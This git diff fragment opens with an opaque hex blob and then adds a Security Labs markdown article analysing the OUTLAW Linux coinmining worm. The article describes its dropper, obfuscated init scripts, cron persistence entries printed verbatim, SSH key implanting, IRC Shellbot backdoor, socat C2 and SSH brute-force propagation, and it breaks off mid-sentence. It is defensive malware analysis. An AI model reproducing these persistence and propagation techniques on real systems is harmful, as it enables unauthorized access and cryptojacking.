39dc783aa295fcffa20a69d1cb741f45ee661b372c3eb1e0b7405304f8720920fbab03bd670cb6ee35db2b765f68c3c9d5c90a0cafcea98f23f0d5de039069ca7343182795e6327d2d03d90961acb89de08d17e01dddfd3af4ae27a6af4452067b2aa0bf1a7adee66e9c4453a82cec5c3a17e3f8ac683b0b8f103625b4d6398203775749f268d570f25f1dc4ee59899f222219dc9bf5a8cec243848dd070d16c255d93e6f91414217378ae3d96454590d8a67470981378b1412b04da9773e18a59ccbe618b1242a444fbe8cb8f09c5f7f7bce612e265ca7200f9bb5508b814900cd902dea6d2fa6c29fbe00b7b972d1ced94e803ef971a97b470920ab8cc6dd5c271a61bba7a3a72c5afc7f4afe11846cdc6ea1fa3181a9d2a36d1a8cf9670b9671a2da50a877f9825e762e5796eb6cc39451494ca547719a1a551929bb396761becd8ea027313385fbcd18f0f2f123c5204d111f88634983cd067d34f7cdbfda1fa3a69e172b1614a5d683d4d5d676685634ad9860bd212d27511ff0fd5670040c9c95e5b36e669244997dd7e1ddfc4942182e15dcf30f306aaa449bda1ea3f67d848780ce2002dfdcc571a228341518958dca588e2739806c9a97363f941af4c7e2c1ff1cc80f69433c99eeaa5aaa2eef113ed44d503d34850f25d302d546ada0d347fbc667a8b93c19298b795c9e349341dec60cfa29eadac2610307ab10ea989d033d2577c47d4333ff9fe41b8d798981c18e51be6ec06318bbe6a02d34bd8e6ff03ccf26fe8f80c57a75670d5f264d54fada3d028b6580b46fe624a82a5905b374a3c4d49f07dcc85055923b3ede34138a828308a363726e6b1bdfa6203ecfab836edeb23b365055515912a944360673f120d24d9a8df7848220552f503e9bb7bad49ae50ce2557b8911e42db1182d8244862f2a412ea3d27329c6b8024304c9ef47bec0f8617c3191568ebf40207a7dbab3d552965fabe2fa391ef9c095de6236abf887445bde323f937536cb638b7039a5fef655785e379b6651ae3ab301ca0501dfe02bda45ec4aec540d751e2ad70fc47d525eae5048715cef6fee1d591febd3a8309b565582b2f64e3206de4fcb82b329255a8675f8e325978627b2a666207723da4a2484e59a8d883ad47465496ab9ad3cd29fd5c0a98485bed730a583b547a878fc617843e1f59e923baaefdbcdffe9506239aebd9da15a21fe70559bbc90ed31313cb63660be4bbbc70c10e1ed91cb06aa51f5ee9a41783960c27dff72b3a339ce1052efa66fbd58c2dd37d3c37f78d663535449e3af2c274e8a1ff54414d7204f4f8fbf6290224e5e981262d26504f4b04e68e90c47b6e8a52464032ba41b9cbb5257c688395eb2d1371f1febd3a8309b565582b2f64e3206de4f0f755f491e0388570590a53e86d239862f2c4ba223a70abceec065e65fac440252f7ecc894ed0445bef25479ee57ef99467a3372029a3469d216e293fa8cb1b0d9a0a8c9dcaa8eff121f13994c2cd149a4f8ae8bf6443ffc488e495f550a6d2bb627e85f75238907cf7fcb1c32c9c778ccdd0a18ca7bb6b66cd4ecf65499e44476eaf3c859b2253b237106263e9472172e2211f1c0628af3b5f3f715a0a86e892170da27c0dd30072d2f40de25483fad78ce76bd615d4a99883e9a4184b76de05916356b88d76a1f6e3a0c33642f1b4135be7e96e0bffb755ef5694fd536a52a34ad9860bd212d27511ff0fd5670040c9c95e5b36e669244997dd7e1ddfc49426bec244d49b4a1307bb36d4c19af2a3b7f0b678af8ac7f7e8f64919bcb045b6204a67038d81e9bc4ac10d16d4e0ee58bf7b17819093e2b479877b82535214ebb91f763e25a44bc6cce393cceeec1d3ef8e8bc50abb84c6e3f96ef2fd6b75c53b831e5da36566be1a7823c04242e37cc2deec1fcf0896e57cb5c35bbb07ba6270d52df5ef4f24d276be2dc4b2b01e3428b742e9825dcb08c705c2a7792f8dd0d2510617341a35c9c34e1d8334db7f164847e7fdfb4b9ab78bce5650a7ad3e98714de2ed8b6349a33b881cfb5b0c5e222688e51cb5034f8837561ee862d93ef3805ffc491b6b782557a14771822ac110fea0b18cb504d8ed0ae67b8dd65fa3e926da90e936a95a455da48636c70ff9f397405d212fa189a26365e57a62823d687b9eefae1923191699dd9cc6175c851638e572dea97901a365afe33e3fc36bb998414ead8aaddf82d42a54b34c2ffca646de7bcd7d7af7e177a535f770e0f2d4ec5451b3be403ee54d8a4b060e6182b5559995456d6ae70de6c4e131a13c0423e81e460b6fe6167dbaf776a34097dcf4ed845cd51c9a5dfe6574ef3f31e0907b2bc2344e4ddec2fb9d4dacaf9cfba948064e892a3029cf5320f623f61e7a88b8d4aa0dce03abe88b08057fca80538a27b52e2b846e1dda13992de60b3599e019dc46799a782169eace9f1bc430dd7bdc8feb3dfca3d412be269418c62b81e45a0eaaca80fd16d1ac0dcdb945a6942082b421763fb9bac776434719696e2e344fcf85f65dde96c07223192553de632138565349ef63953e104d3f8cd07086dc5a1f00f368e2cc19a14110680dc49ec579ef039bbc84b19d7d68e2dd597b116355bf4347875c09ce83c547f1f55dfa9b7202b218c18bdd060a5e126ae82ebb1c05c0ecef7693b1001243c0a7caab4812217b12f245fcd819c40efe24ba64b2d55be5e44cda517baa4f3e6371478c3de4a73066207723da4a2484e59a8d883ad47465496ab9ad3cd29fd5c0a98485bed730a583b547a878fc617843e1f59e923baaef430c2004b891223ba8f3c239f966b46f6644cbf7cb0f82e3b83183f4fa07e6ca0628812ca540967ba7ca33b03b778b18aecd5fa8767353afa5ab8d2e627347cf2b168845e064a1a1b48476b4ae41f4cd83bc8e46d67b36d307ca067d03c70fd577d58cae00e2adb56c1ee10cb692311634262e501be25051a597815a038650721788a4af5d813985f70f258067b0502dc2135095fb13b1f9d88d001ce3d9ad582f3dc017ede5edc303ab9ebd19860b592fd3dca2e5b4f7646358c5f7b36fafe051e0a329485006bdbab0de154134813a24aec1a3ecff10a5c465369135c0519875893e98ce4f023698b55e8182327a227b79055ada7e2c8219fb6af46ed2392dad8113715bf9f31d3d456e472ff50690695f10c48ab6fb4b15054325b93f85a4dae378df6e7a27c7ab0ee7b77d08db6c0bd767118748b9552caf24fc94b823e398224e7e453bb0dd9f838a17adc769091eb7f1d69b8f61762b5ff9a4e4ccc1286bc8104a7502c034408381004eeda9817aebd5f2113550f139ba1ebc4b26a3edb6f7607321076b3472d72e6e1523ac96fd7f53de4a494dc37b274f54b106ff0c0644a307ec0fc01ea0cc9a9e534b06f934ad9860bd212d27511ff0fd5670040cc5c4e01035a6e3aed41fbe1bba0679788bb2b67a3c6628ad53a0777887b3222ee9f2b9d73ea01d353dd65d351254a9296bb3ea2baecd9e3def84446e0b3762d22bf7e001f9f29b3dec9cda203ddadaffab3f6bdbb0568b69bfd3d44b86df554c72520caf941a6b109a05bcfd65641e0e52d19043a4287694807be1ad7f4df248b915746b9d6d422f0d299c9cf035279ff5a205bbed7538f2e2be4008b900ac7bb1826ca70cd115f92675e3f5d736098f59df71df380ecf10e13e48c484c8eb54e644cb5a4f2481bf94e0226e276632b3e4f5fefb2f8692f17cc3339e69beeb0124e93577c1a6fa33e0f7a148652b2e1a7d2f74fea1f9526fdb7b0a5a0a86d4f33f429be1ec7f4d310c45cf19e7056632ca37144bed8ed3945c72271518f94fe199a0b66b467e40bd6cac397d37da972404c4e7c0b104bcd4aa5d2d4629955721024f5ace6be0fa7ab5886708c99977375760ec5322e4a9aff3831700e3b521367d810cbda3080d1c4382864e3edb5523f1a8ace67667cfed0f656eb5fcdc4b4c277998aaa5945bb3a73cfb087ab4e0dafe80c519e5bbd53828c01ab9605fec77764b46a88a0486c98ab5e48e9f0331ff99e3b9679e79879d48caa6b0e7fd3d492a58f4cc6163a988c04f3406ae6ff130b9ae36ddfbf9b325b58a8aee32931762ebcab92fb323d94b913c10c4824ed14ae45cb6bce95a2d99ee120a885d023f55f656b2e86c87f6c7eeded4bc3a1a25e6841490740cdf5516ee7e83f87b5e9232165a38a013560832f18cced8d672e6a7b51e57bf9ff0521687916be1fbd2e303d3f1b23d4dddc5a75b4c71524944dbcf67e1a67394ae5167891d50ae9a153a4f054ffd613ad11254f9e78a3d7d3ecc5a05b9517ee6f865d2aa85ffc5a8b927b93efd0a8fdff1018319f3538cec9bcd9339173bd1e1c2176fa765ccbea6108376726b8ba6357d449ceadfdc980c313a38ea5df372b3dee46e84c02ea166fb119f921075ad7178f204a6ce715f6d0dd72b6ffef5b1fe0cab67e63be3af25d987b316eb01f1d0840585d3d3991e2d0067145a1f5f6f6a34f839c415bb3f472b8494fde05ea6c7812d2d2f93f1dba796731e01b7a94cac084cb181620e0f4f6927892af4a8c9d27b73f34170edd62e944652847eb8d9b4db7a52ac0784b7244deaa878d65a7efacb280ee057e37a9ff8bcd99f006eaebb5ca7a165d9db2267489687a6cf96a953a0ac9753e117b8519dd3913df5730e369345b6350062fae9e565c0c8062ff8fdaca1531050e745bb42446723e9e85f96b1d593d8ef763b706ab525f1461dd2b92dc1cf75e6e9f8d2d5567c8d389b74e0703ea46e9db60db795ceddb5fc4e0f964c20f9dbb4726e3316ddc7a973e2c4dee3732acacc26a4308fd55000538acd7cbd31d68549647910ae639f54202dff2d2a7f49836df535199c47eee32a6682a2c07d35746f93ad9da3fcbc361a1cb0ad04f0e1c628f58096d98a572910ca7c097a7f4df18f3757d7744b00642a9cb1c548c861625518f36c6aed0d80213d0101de319379d79e7fcc4052dbcbcb438c68f0767cd68e7bb01c9b0c7ee780aaf0dea7a54a4238493a8f1f51e5f9d767893a8de0fc259e66a10cc86b201fceef5dc2a8d27b9af89d1c48081ba5c4390944f7fa037de69438e2688323e4c621f2a8ecbcf653229df80059c56a721309d76218096fa6863b59e181694b46e84cafe9dd28a7afa688d47046aafbd6913cb8d2c5f6f9b9621f0ea99ebbc310dac6a4ead27be1c4b4a837e30886ae1c7dee2dd2f6969308c50a4dec0fe04ce68c78891f43740c73915528a5b875ac1648ed2bc8bb8da8cc4d37b9df3a3f0b343eb2ffca2b8c5858b42033d5588785c6dc98ebcf7573ac538a0d4e35293362576269953a5cc13bac3e7dc70f112094457023df68906d4ec4d5c2f3d8a563a5fb3e71ef7f3faa84603c57a09111e6b77c9a99acb5e64d0c0e605c797554a883e0744186f586cf11d2759c0a0924090e81b0bfabea35b00110a5eed871a2a92921bb41fce7628e14ed6ff345c81f13db152ee3e2c649c24b0ecb3c5607688da6c1f2c38c3bf396a1a8bf61e2b28e4791872b3421bd4da0c25ef54faf2d028781491f589644643ea0d3883461f70fe23e7b1f7251e0a21d7f282d62cd82e4dadf2536f5e4d32f04d3641682094f2e07e3511de303f0b319286800600ed61ba15ec5bf3c5b46b989b0175424a35688cae5ceb6ba9a07ae3ae92a2df83fb9585e683f8161e57bb5ca789cc0b6bd72f0ce492544818bda04c5bf3a17ef5d3ae83566d294be3de462f3ac6d149e5534872bd21b52cf35b090084aa4fedb876b1fe31926ca44945a3a7b54124fbf888ae0a226988434d6b2be37b86b90bbecfe9ff0a0cb7c50118889290ecc4df172f81ec81466a952e14fde6db78ef7a158303d37e6ea401f9ca6ed73cf452275febd606b1a947dab0c80f7b44c901d8bc6907a2cb1478b991f25b7eed5597d27adb2857ae773bc77b6841a39464f5d682b0f9f0b0bab8a98f45306bd5788b58e1a3bd2e583d33a44383bd99b152669b327258ff91a550830984a53c1c17a94bff4c59b7f27baf67b4462b937f0c4058257f5ee99c229b492c958487e84b05e5acd724c895893338cb2ff48b829c17cc3195d84afac8b482b4c8ab9074139f382141a2da74703c53e56a9244c356e818db942acb7cd0ddc1b786c2a8c444f42c8c2e77afd2fc72211746722801130e4d71c055dce89659def243f2b38ea68db3c4388f22315536b13de594b21ad214641972eb8f6ff6493f6be2e3916e2ab00e1c1c517128f129a8f4b23545abbeb3b432f039596b864b23ce658a8764630be052df699489b21ee5699698dcc6543427233de503d1721 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/outlaw_linux_malware.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/outlaw_linux_malware.md new file mode 100644 index 0000000000000..882a2c3141068 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/outlaw_linux_malware.md @@ -0,0 +1,682 @@ +--- +title: "Outlaw Linux Malware: Persistent, Unsophisticated, and Surprisingly Effective" +slug: "outlaw-linux-malware" +date: "2025-04-01" +description: "Outlaw is a persistent Linux malware leveraging simple brute-force and mining tactics to maintain a long-lasting botnet." +author: + - slug: remco-sprooten + - slug: ruben-groenewoud +image: "outlaw.jpg" +category: + - slug: malware-analysis +tags: + - slug: OUTLAW + - slug: linux + - slug: malware +--- +## Preface + +OUTLAW is a persistent yet unsophisticated auto-propagating coinminer package observed across multiple versions over the past few years [[1](https://www.countercraftsec.com/blog/dota3-malware-again-and-again/)], [[2](https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting)], [[3](https://isc.sans.edu/diary/Hygiene+Hygiene+Hygiene+Guest+Diary/31260)], [[4](https://darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics)]. Despite lacking stealth and advanced evasion techniques, it remains active and effective by leveraging simple but impactful tactics such as SSH brute-forcing, SSH key and cron-based persistence, and manually modified commodity miners and IRC channels. This persistence highlights how botnet operators can achieve widespread impact without relying on sophisticated techniques. + +To gain deeper insights into OUTLAW’s behavior and operational patterns, we deployed a honeypot designed to attract and observe the attackers in action. By carefully crafting an environment that mimicked a vulnerable system, we were able to bait the adversaries into interacting with our server. This interaction revealed automated and manual actions, with operators entering commands directly, making modifications on the fly, and even mistyping commands—clear indicators of human involvement. A captured GIF showcases these moments, providing a rare glimpse into their real-time decision-making process. + +![Threat actors actions in a honeypot](/assets/images/outlaw-linux-malware/01-honeypot.gif "Threat actors actions in a honeypot") + + +By analyzing OUTLAW, we gain new insights into the tooling used by its operators and their evolving strategies over time. This malware presents a valuable opportunity to apply detection engineering principles, as its attack chain spans nearly the entire MITRE ATT&CK framework. Examining its infection process allows us to develop effective detection strategies that capitalize on its predictable and repetitive behaviors. + +This report provides a full attack chain analysis, including detailed detection rules and hunting queries. By breaking down OUTLAW’s components, we demonstrate how even rudimentary malware can maintain longevity in modern environments and how defenders can leverage its simplicity to enhance detection and response. + + +## Key Takeaways + +* **Persistent but unsophisticated**: OUTLAW remains active despite using basic techniques like SSH brute-forcing, SSH key manipulation, and cron-based persistence. +* **Commodity tooling**: The malware deploys modified `XMRig` miners, leverages IRC for C2, and includes publicly available scripts for persistence and defense evasion. +* **Extensive attack surface**: OUTLAW’s infection chain spans nearly the entire MITRE ATT&CK framework, offering many detection and hunting opportunities. +* **Worm-like propagation**: OUTLAW uses its compromised hosts to launch further SSH brute-force attacks on their local subnets, rapidly expanding the botnet. + + +## OUTLAW Overview + +OUTLAW follows a multi-stage infection process that begins with downloading and executing its payload, establishing persistence, and expanding its botnet through SSH brute-force attacks. The execution chain is displayed below: + + +![OUTLAW infection chain overview](/assets/images/outlaw-linux-malware/02-flow.png "OUTLAW infection chain overview") + + +**1. Initial Infection & Deployment** + +* The attack starts when `tddwrt7s.sh` downloads the `dota3.tar.gz` package from a C2 server. +* The extracted `initall.sh` script executes, kicking off the infection chain. + +**2. Gaining Control & Persistence** + + + +* The malware ensures dominance by killing competing brute-forcers and miners. +* It then deploys: + * Modified XMRIG for crypto mining (connecting to a mining pool). + * STEALTH SHELLBOT for remote control via IRC C2. + * BLITZ to perform SSH brute force attacks. + +**3. Propagation & Expansion** + + + +* The brute-force module retrieves target lists from an SSH C2 server and attempts SSH brute-force attacks on new machines. +* Successfully compromised systems are infected, repeating the cycle. + +This automated infection loop allows OUTLAW to remain active and profitable with minimal effort from attackers. Let’s take a deeper look at the entire attack chain. + + +## OUTLAW Execution Chain + +OUTLAW effectively covers a wide range of tactics and techniques in the MITRE ATT&CK framework. This section maps its behavior to provide an overview of its infection chain and methods. + + +### Initial Access: blitz + +OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. The malware employs its `blitz` component, also known under other names such as `kthreadadd`, to perform high-volume scanning and password-guessing attempts. It leverages lists of target IPs and credentials retrieved from its C2 servers. + +OUTLAW also acts like a worm, automatically installing itself on every system that it successfully compromises. This self-propagation mechanism allows it to spread rapidly across networks, turning each newly infected device into another node for further brute-forcing and infection attempts. + +We will take a deeper look into how OUTLAW performs these attacks and propagates itself later in the article. + + +### Execution: tddwrt7s.sh + +The first infections of OUTLAW seem to originate from a straightforward dropper script: `tddwrt7s.sh`. This shell script checks for an existing installation. If the malware is already present and unpacked, it will run the initall script, kicking off the infection chain. Otherwise, it will attempt to download the package from a list of provided staging servers. For illustration purposes, a shortened snippet of the dropper is shown below: + + +![Dropper `tddwrt7s.sh` overview](/assets/images/outlaw-linux-malware/03-dropper.png "Dropper `tddwrt7s.sh` overview") + +The extracted `dota3.tar.gz` package extracts its contents into a hidden folder called `.rsync`, and contains the following entries: + +```text + ├── a + │ ├── a + │ ├── init0 + │ ├── kswapd0 + │ ├── kswapd01 + │ ├── run + │ ├── socat + │ └── stop + ├── b + │ ├── a + │ ├── run + │ └── stop + ├── c + │ ├── blitz + │ ├── blitz32 + │ ├── blitz64 + │ ├── go + │ ├── run + │ ├── start + │ ├── stop + │ └── v + ├── init + ├── init2 + └── initall +``` + +Let’s deconstruct the execution chains one by one. + + +### Main Initialization script: initall + +The three `init` scripts control the overall execution flow and deployment of the malware. Starting with the `initall` script, the main initializer determines which execution path to take. It checks the system environment and decides whether to use `init` or `init2` based on file permissions and available directories. + +These `init` scripts all use variable-based string concatenation obfuscation, where commands are split into small variable fragments that are dynamically concatenated and executed, making static analysis more difficult. For example, the `initall` script looks like this: + + +![Obfuscated `initall` script](/assets/images/outlaw-linux-malware/04-obfuscation.png "Obfuscated `initall` script") + + +However, by changing the `eval` to an `echo`, we can get the output without any effort: + + +![De-obfuscated `initall` script](/assets/images/outlaw-linux-malware/05-deobfuscation.png "De-obfuscated `initall` script") + + + +This script will, by default, consistently execute `init`. This is the primary execution path that installs the malware in the hidden directory `~/.configrc6`. The fallback execution path is `init2`, which is used when `~/.configrc6` is inaccessible. The main difference is that this path keeps all components in the current working directory. Applying the same deobfuscation principle as we did previously, we end up with the following two scripts: + + +![Conditional sub-routines: `init` and `init2`](/assets/images/outlaw-linux-malware/06-subroutine.png "Conditional sub-routines: `init` and `init2`") + +The first script (`init`) hides its components in the hidden directory `~/.configrc6`, while the second script (`init2`) runs directly from the working directory. Despite this difference, the execution flow remains the same, starting the binary named `a` in the `a/` and `b/` directories as background processes and establishing persistence. In both scripts, the malware installs cron jobs that execute its binaries at regular intervals and on system reboots: + +```text +5 6 * * 0 ~/.configrc6/a/upd +@reboot ~/.configrc6/a/upd +5 8 * * 0 ~/.configrc6/b/sync +@reboot ~/.configrc6/b/sync +0 0 */3 * * ~/.configrc6/c/aptitude +``` + +Although the scripts execute the `a` binary in the `a/` and `b/` directories nearly simultaneously, we will follow the execution flow of the `a/` directory first. + + +### Subroutine Execution of a/ directory: XMRIG + +The first script that is executed is `a`, which removes any existing cron jobs using `crontab -r` and then stores the current working directory in a variable. It then creates a shell script called `upd` that checks if a process (stored in `bash.pid`) is still running. If the process is not running, it executes `./run` as a background process, ensuring that the malware is continuously restarted if terminated. + + +![Startup script in the `a/` directory](/assets/images/outlaw-linux-malware/07-startup-a.png "Startup script in the `a/` directory") + +Additionally, we see some commented commands, indicating that other versions of this malware may exist under names such as `rsync`, `go`, `kswapd0`, `blitz,` and `redtail`. + +Further down the script, a function is created that checks if `/sys/module/msr/parameters/allow_writes` exists and sets it to "on" to enable writing to Model-Specific Registers (MSRs). If the file does not exist, it enables MSR writes through the `modprobe msr allow_writes=on` command. + + +![XMRig optimization function: enable MSR writes](/assets/images/outlaw-linux-malware/08-xmrig-optimize.png "XMRig optimization function: enable MSR writes") + + +Next, the function identifies the active CPU by checking `/proc/cpuinfo` and applies specific MSR register values to optimize performance. + + +![XMRIG optimization function: apply MSR registers](/assets/images/outlaw-linux-malware/09-xmrig-registers.png "XMRIG optimization function: apply MSR registers") + +Finally, the function optimizes memory usage by enabling `hugepages` for all CPU cores, increasing memory access efficiency. It calculates the number of `hugepages` needed based on the available processors (`nproc`) and sets them in the `/sys/devices/system/node/node*/hugepages/` directories. + + +![XMRig optimization function: enable `hugepages`](/assets/images/outlaw-linux-malware/10-xmrig-hugepages.png "XMRig optimization function: enable `hugepages`") + + +The `optimize_func()` function was not created by the threat actor. The threat actor used an open-source script from the `XMRig` repository, specifically the [randomx_boost.sh](https://github.com/xmrig/xmrig/blob/master/scripts/randomx_boost.sh) script, to aid in their infection chain. + +Depending on the user's privileges, it will either run the whole optimization function, or attempt to set the number of `hugepages` through `sysctl`: + + +![Condition for running `optimize_func()` function](/assets/images/outlaw-linux-malware/11-condition-optimize.png "Condition for running `optimize_func()` function") + + +All steps performed in this chain show apparent signs of cryptocurrency mining system optimization. Finally, the script grants execution permissions to the `upd` file and "777" permissions to all files in its folder and runs `upd`. + +As we saw earlier in the chain, the `upd` file checks whether the process stored in `bash.pid` is still running, and if it is not, it will execute the `run` script: + + +![The `run` script for the`a/` folder](/assets/images/outlaw-linux-malware/12-run-script-a.png "The `run` script for the `a/` folder") + +The run script will start the `stop` script, which is a typical script that bring down the defenses of any known miner configurations any known miner configurations and kill any known miner processes based on name/process ID or network traffic. A shortened version of this script is illustrated below: + + +![The `stop` script for the `a/` folder](/assets/images/outlaw-linux-malware/13-stop-script-a.png "The `stop` script for the `a/` folder") + + +Interestingly enough, a second process-killing script called `init0` is present, which is an [open-source script](https://github.com/MinervaLabsResearch/BlogPosts/blob/master/MinerKiller/MinerKiller.sh) for killing cryptocurrency miners in a Linux environment. This script is not being run, as the execution flow for this script was commented out in the `a` script. + +After the `stop` script has been successfully run, the `run` script starts the `kswapd01` and `kswapd0` binaries in the background via `nohup`. + + +#### kswapd01 + +The `kswap01` binary plays a critical role in ensuring persistent communication within the malware’s infrastructure. Its main task is to monitor and maintain a continuous `socat` process, which is essential for communication with the attacker’s C2 servers. + + +![The main function of the `kswapd01` `socat` wrapper](/assets/images/outlaw-linux-malware/14-kswapd01-main.png "image_toThe main function of the `kswapd01` `socat` wrapperoltip") + +When executed, `kswap01` checks for any existing `socat` processes running on the infected machine. If no active connection is found, it proceeds to kill any running `socat` processes and selects an alternative IP address from a predefined list. The binary then establishes a new connection by launching a fresh `socat` process to listen on the local machine and forward traffic to a remote server, typically on port 4444. This ensures the malware maintains control over the infected system and can continue receiving commands from the attacker. + +However, it's important to note that not every version of the OUTLAW malware package observed includes the `socat` binary. In these cases, the functionality provided by `socat` is either replicated by other means or simply omitted, relying on alternative methods for maintaining persistence and communication. + +By performing these checks and modifications, `kswap01` helps maintain the persistence of the C2 connection, making it harder for defenders to interrupt the communication channel between the attacker and the compromised system. + + +#### kswapd0 + +The file named `kswapd0` is a maliciously modified copy of the legitimate `XMRig` cryptocurrency miner (specifically version 6.22.1). + + +![The `XMRig` version](/assets/images/outlaw-linux-malware/15-kswapd0-xmrig-version.png "The `XMRig` version") + +Two major modifications define the malware’s behavior: + + +**1. Startup Shell Commands** + * The malware removes and recreates the victim’s `~/.ssh` folder, injects an attacker-controlled SSH public key, and re-applies restrictive permissions (`chattr +ia`) to prevent modification. This grants persistent SSH access. + * It also removes or locks existing `XMRig` configuration files (e.g., `~/.xmrig.json`, `~/.config/xmrig.json`) to ensure the attacker’s embedded miner settings remain intact. + + +**2. Embedded Miner Configuration** + * The binary is compiled with an internal mining configuration, allowing XMRIG to run without an external config file. + * Mining traffic is routed to multiple Monero pools over plaintext ports (`:80`, `:4444`), SSL (`:442`), and occasionally TOR addresses. Note that the port 442 here is not a typo. + * The configuration optimizes performance by: + * Running the miner in the background + * Enabling large pages for `RandomX` + * Setting the donation level to zero + * Maximizing CPU thread usage + +By locking out administrators, preventing config changes, and injecting an attacker-controlled SSH key, `kswapd0` serves as a stealthy persistence mechanism — allowing for continuous Monero mining and unauthorized remote access, all while masquerading as a legitimate system process. + + +### Subroutine Execution of b/ directory: STEALTH SHELLBOT + +As we described earlier, the `a` binary in the `b/` directory was also executed via the `init` scripts. + +![The `a` script in the `b/` folder](/assets/images/outlaw-linux-malware/16-a-in-b-folder.png "The `a` script in the `b/` folder") + + +This script kicks off another `stop` script with the same purpose we described earlier: kill any known bad processes. Afterward, it creates a script called `sync`, with the sole purpose of executing the `run` script. This script is referenced in the cronjob we described earlier. The `run` script contains three base64-encoded blobs, which are piped to `perl`. An example of a shortened script is shown below: + + +![Base64 encoded code](/assets/images/outlaw-linux-malware/17-base64-encoded.png "Base64 encoded code") + + +Upon base64 decoding, obfuscated `perl` scripts are identified. These scripts leverage a [public Perl Obfuscator](https://perlobfuscator.com/) utility to obfuscate their contents, making them harder to analyze: + + +![Perl obfuscated code](/assets/images/outlaw-linux-malware/18-perl-obfuscated-code.png "Perl obfuscated code") + + +Fortunately, the author left the standard comments in the obfuscated scripts. By using the [publicly available deobfuscator](https://perlobfuscator.com/decode-stunnix-5.17.1.pl) we can deobfuscate the script through the following command: + + +```bash +perl decode-stunnix-5.17.1.pl < obfuscated_run.pl > deobfuscated_run.pl +``` + + +After which we can view the deobfuscated contents: + + +![Part of the `Stealth Shellbot` Perl code](/assets/images/outlaw-linux-malware/19-perl-deobfuscated.png "Part of the `Stealth Shellbot` Perl code") + + +This is just the first few lines of the script, for illustrative purposes. This deobfuscation technique can also be used for the other obfuscated Perl scripts used by OUTLAW. We will take a closer look at these scripts in just a moment. + +The script ends off with installing its own SSH public key for persistent access, setting restrictive permissions, and making the directory immutable to prevent modification through `chattr`: + + +![Persistence via SSH key](/assets/images/outlaw-linux-malware/20-persistence.png "Persistence via SSH key") + + +#### STEALTH SHELLBOT Scripts + +The STEALTH SHELLBOT scripts used in OUTLAW are not custom-built but rather publicly available IRC bot scripts, often sourced from old GitHub repositories and underground forums. These scripts have been around for over a decade, originally designed for remote administration, automation, and botnet management. However, they have since been repurposed by malware authors for malicious activities. + +SHELLBOT scripts operate as IRC-based backdoors, allowing attackers to remotely control infected machines via predefined commands sent through an IRC channel. Once connected to the attacker’s IRC server, these bots can: + +* Execute arbitrary shell commands +* Download and execute additional payloads +* Launch DDoS attacks (in older variants) +* Steal credentials or exfiltrate system information +* Manage crypto miners or other malware components + +OUTLAW integrates these legacy SHELLBOT scripts as a secondary persistence mechanism, ensuring that even if its brute-force modules are disrupted, attackers still retain a remote foothold. The bot connects to an attacker-controlled IRC C2, where it listens for further commands, enabling on-demand execution of malicious actions. + +While these scripts are not novel, their continued use highlights how attackers rely on publicly available tools rather than developing new malware from scratch. + + +### Subroutine Execution of c/ directory: Customer Bruteforcer + +As part of the third and final sub-routine, a custom bruteforce tool is deployed. This chain starts, similar to the previous sub-routines, from the `init` and `init2` scripts. These scripts both call the `start` script, containing the following contents: + + +![alt_tThe `start` script in the `c/` folderext](/assets/images/outlaw-linux-malware/21-start-script-in-c.png "The `start` script in the `c/` folder") + + +This script stores the current working directory, provides all permissions (777) to all files in the current directory, and creates a script named `aptitude` (which is also called by the previously set up cron job), to run the `run` script. After creating `aptitude`, it is granted execution permissions and is run. + +The `run` script is used to gather CPU architecture information and count CPU cores to determine execution behavior, as shown below: + + +![The `run` script in the `c/` folder](/assets/images/outlaw-linux-malware/22-run-script-in-c.png "The `run` script in the `c/` folder") + + +If the system is x86_64, it checks whether the CPU has fewer than 7 cores, introducing a randomized delay before executing `./go` in the background. If 7 or more cores are detected, execution is skipped or altered (with a previously used binary `golan` now commented out). The threat actor may have been testing or working with a Golang binary that can make full use of the number of cores present in a system, but that is just a guess. + +In most scenarios, the execution flow moves to the bash script called `go`: + + +![The `go` bash script in the `c/` folder](/assets/images/outlaw-linux-malware/23-go-script-in-c.png "The `go` bash script in the `c/` folder") + + + + +The script determines the CPU architecture and assigns a thread count accordingly: + +* ARM-based systems → 75 threads +* i686 (32-bit x86) → 325 threads +* All others (default) → 475 threads + +It then enters an infinite loop, executing the following actions: + +1. Creates and cleans up temporary files (`v`, `p`, `ip`, `xtr*`, `a.*`, `b.*`). +2. Writes hardcoded values (`257.287.563.234` and `sdaferthqhr34312asdfa`) into files `c` and `d`. +3. Waits for a random delay (1-30 seconds) before launching `blitz`. +4. Executes `blitz` for 3 hours with specified parameters (`-t $threads` suggests multi-threaded processing). +5. Performs post-execution cleanup, removing temporary and log files before repeating the cycle. + + +#### BLITZ + +OUTLAW is a self-propagating worm that spreads laterally through SSH brute-force attacks using BLITZ, its custom-built brute-forcer. Designed for aggressive, automated credential attacks, BLITZ systematically scans for and compromises systems with weak or default SSH credentials, allowing the malware to expand its foothold with minimal attacker intervention. + + +##### BLITZ Execution Process + +Upon execution, BLITZ follows a structured attack sequence: + + + +1. **IP Target and Credential Retrieval** + * BLITZ contacts an SSH C2 server to fetch a list of target IPs and credential pairs. +2. **Brute-Force Authentication & System Profiling** + * Using multi-threaded SSH brute-forcing, BLITZ attempts to authenticate with stolen credentials. + * Once access is gained, it: + * Changes the user’s password for persistent access. + * Executes system reconnaissance commands, collecting: + * User privileges + * CPU details + * SSH banner information + * OS version + * Exfiltrates gathered data to the C2 server. +3. **Subnet Scanning & Lateral Movement** + * The malware scans the local subnet of newly compromised systems, identifying additional SSH-accessible machines to attack. +4. **Self-Replication & Malware Deployment** + * Instead of downloading from an external C2, BLITZ directly transfers the dota3.tar.gz malware package from the infecting host to the new victim, reinforcing persistence and minimizing reliance on external infrastructure. + +By combining automated brute-force attacks, system profiling, subnet scanning, and direct malware transfer, BLITZ maximizes infection efficiency while ensuring continued network expansion. + + +##### Binary Analysis & C2 Communication + +Beyond brute-force operations, analysis reveals that BLITZ executes its tasks by interacting with system shell commands and an embedded SSH library. Once connected to a compromised system, it queries the C2 server for updated targets and relays authentication data. + + +![Random IP Selection for the C2 SSH server](/assets/images/outlaw-linux-malware/24-random-ip-select.png "Random IP Selection for the C2 SSH server") + + +Additionally, OUTLAW incorporates a hardcoded SSH key for C2 authentication, which must be unlocked using the password 